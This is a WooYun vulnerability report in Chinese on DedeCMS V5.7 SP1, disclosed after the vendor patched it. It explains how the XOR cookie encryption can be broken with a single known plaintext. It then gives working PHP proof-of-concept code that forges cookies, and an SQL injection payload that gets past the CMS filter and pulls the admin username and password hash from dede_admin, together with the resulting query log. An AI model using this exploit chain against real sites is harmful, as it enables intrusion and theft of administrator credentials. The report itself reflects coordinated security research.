当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-071655

漏洞标题:DedeCMS-V5.7-SP1(2014-07-25)sql注入+新绕过思路

相关厂商:Dedecms

漏洞作者: roker

提交时间:2014-08-11 11:24

修复时间:2014-11-09 11:26

公开时间:2014-11-09 11:26

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-11: 细节已通知厂商并且等待厂商处理中
2014-08-14: 厂商已经确认,细节仅向厂商公开
2014-08-17: 细节向第三方安全合作伙伴开放
2014-10-08: 细节向核心白帽子及相关领域专家公开
2014-10-18: 细节向普通白帽子公开
2014-10-28: 细节向实习白帽子公开
2014-11-09: 细节向公众公开

简要描述:

rt................好紧张。。

详细说明:

让我们来看看这个文件
/include/shopcar.class.php
提取关键加解密函数代码

function enCrypt($txt)
{
srand((double)microtime() * 1000000);
$encrypt_key = md5(rand(0, 32000));
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++)
{
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
}
return base64_encode($this->setKey($tmp));
}
//解密接口字符串
function deCrypt($txt)
{
$txt = $this->setKey(base64_decode($txt));
$tmp = '';
for ($i = 0; $i < strlen($txt); $i++)
{
$tmp .= $txt[$i] ^ $txt[++$i];
}
return $tmp;
}
//处理加密数据
function setKey($txt)
{
global $cfg_cookie_encode;
$encrypt_key = md5(strtolower($cfg_cookie_encode));
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++)
{
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}
//串行化数组
function enCode($array)
{
$arrayenc = array();
foreach($array as $key => $val)
{
$arrayenc[] = $key.'='.urlencode($val);
}
return implode('&', $arrayenc);
}
//创建加密的_cookie
function saveCookie($key,$value)
{
if(is_array($value))
{
$value = $this->enCrypt($this->enCode($value));
}
else
{
$value = $this->enCrypt($value);
}
setcookie($key,$value,time()+36000,'/');
}
//获得解密的_cookie
function getCookie($key)
{
if(isset($_COOKIE[$key]) && !empty($_COOKIE[$key]))
{
return $this->deCrypt($_COOKIE[$key]);
}
}
}


是不是感觉很熟悉?看这里--> WooYun: Destoon B2B 2014-05-21最新版绕过全局防御暴力注入(官方Demo可重现)
一样的算法,只不过将microtime 替换成了 md5(rand(0, 32000)),按照 海贼牛的方法的话,我们需要暴力 穷举32^36次,这数太大,我不敢算,我们真的需要暴力破解么??
直接来看看 解密函数吧。

function deCrypt($txt)
{
$txt = $this->setKey(base64_decode($txt));
$tmp = '';
for ($i = 0; $i < strlen($txt); $i++)
{
$tmp .= $txt[$i] ^ $txt[++$i];
}
return $tmp;
}
//处理加密数据
function setKey($txt)
{
global $cfg_cookie_encode;
$encrypt_key = md5(strtolower($cfg_cookie_encode));
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++)
{
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}


现在 我们假设 密文为 ABCDEF....(base_decode后的) 。通过上述代码 可以发现 解密函数中 参与 运算的是 key的MD5值。我们假定为 K1 k2 k3 k4 k5 k6........k32.
首先带入 setKey函数,

A^K1 ->M1 

B^K2 ->M2

C^K3 ->M3

D^K4 ->M4


然后将 M1~6 带入decrypt后的操作。

M2^M1 ->a 
M4^M3 ->b
M6^M5 ->c


abc 即为 我们的明文
对于异或算法 我们知道 它有以下特性

H^I = J  ->  H^J=I
(H^I)^J=H^I^J


密文A B 与明文 a 所对应的的关系为。

A^K1 = M1  M1^M2 = a   B^K2 = M2


联立得(尼玛像是在做奥数。。) A^K1^B^K2 =a 即 A^B^a = K1^K2,同理可得到 C^D^b = K3^K4 E^F^c=K5^K6
k1~32是 密匙k的32位 md5值,是固定不变的。
那么 得到如下 如下关系: 任何密文的i ,i+1 位 与其所对应的的 明文的 i 位 做异或运算(i为偶数) 结果是一个固定不变的值(Ki^Ki+1)
so,我们只需要一个已知明文的密文就可以 构造任意密文了。
poc如下,

function dede_cracked($Expressly,$Ciphertext,$str,$way){
$Ciphertext = base64_decode($Ciphertext);
if ($way=="descrypt"){
$text2="";
$str=base64_decode($str);
}else{
$text2="a";
}
$j=0;
$s=0;
for($i=0;$i<strlen($str);$i++,$s++){
if($j==32){$j=0;$s=0;}
$tmp=$Ciphertext[$j]^$Ciphertext[$j+1];
$tmp=$tmp^$Expressly[$s];
$tmp=$tmp^$str[$i];
if ($way=="descrypt"){
$text1=$tmp^$str[++$i];
}
else{
$text1=$tmp^$text2;
}
$xxoo =$xxoo.$text2.$text1;
$j=$j+2;
}
if ($way=="descrypt"){
echo $xxoo;}
else{
echo base64_encode($xxoo);}
}


在 plus/carbuyaction.php

foreach($Items as $key=>$val)
{
$val['price'] = str_replace(",","",$val['price']);
$dsql->ExecuteNoneQuery("INSERT INTO `#@__shops_products` (`aid`,`oid`,`userid`,`title`,`price`,`buynum`)
VALUES ('$val[id]','$OrdersId','$userid','$val[title]','$val[price]','$val[buynum]');");
}


将解密后的数据带入了数据库。
本以为到这里就结束了,然而,dede自带的防护sql注入的函数做了更新,以前的@,char都不能用了。
想了很久终于想到了办法,
我们可以用双引号来包裹 ' 再用逗号分隔 两个相连的 ''。

看到函数里的这段代码你就知道为什么我要这么做了。。直接看我的下面的sql语句可能会更形象~
if (strpos($clean, '@') !== FALSE OR strpos($clean,'char(')!== FALSE
OR strpos($clean,'$s$$s$')!== FALSE)


首先,注册用户,将一个商品加入购物车,来到plus/car.php页面,此时查看cookie


Shop_De开头的和 DedeUserID就是我们所需要的~
调用poc里的函数
得到 最终playload

dede_cracked("id=108&price=11&units=&buynum=1&title=aa","AWgGMlFrAzNUMAFqWyYBdFV0UmgHNFI3Vm0BMwUwBC4AdQc5CmRVIAcgBWtfNVBzATBVcwApAW8FdlE%2FWWBVaAEnBiJRPwN2VGwBN1s9AWVVZw==","id=',\"'&title=\" or ',','8',(SELECT concat(uname,0x23,pwd) FROM dede_admin LIMIT 1),',','1')#","encrypt");


修改cookie,提交订单
可以看到mysql的执行日志

INSERT INTO `dede_shops_products` (`aid`,`oid`,`userid`,`title`,`price`,`buynum`)
VALUES ('',"'','wooyuni','8','" or ',','8',(SELECT concat(uname,0x23,pwd) FROM dede_admin LIMIT 1),',','1')#','0.00','0')


查看商品,ok,数据出来了~

1.jpg


漏洞证明:

1.jpg

修复方案:

你们更专业~~

版权声明:转载请注明来源 roker@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2014-08-14 15:22

厂商回复:

已经修复,感谢提交

最新状态:

暂无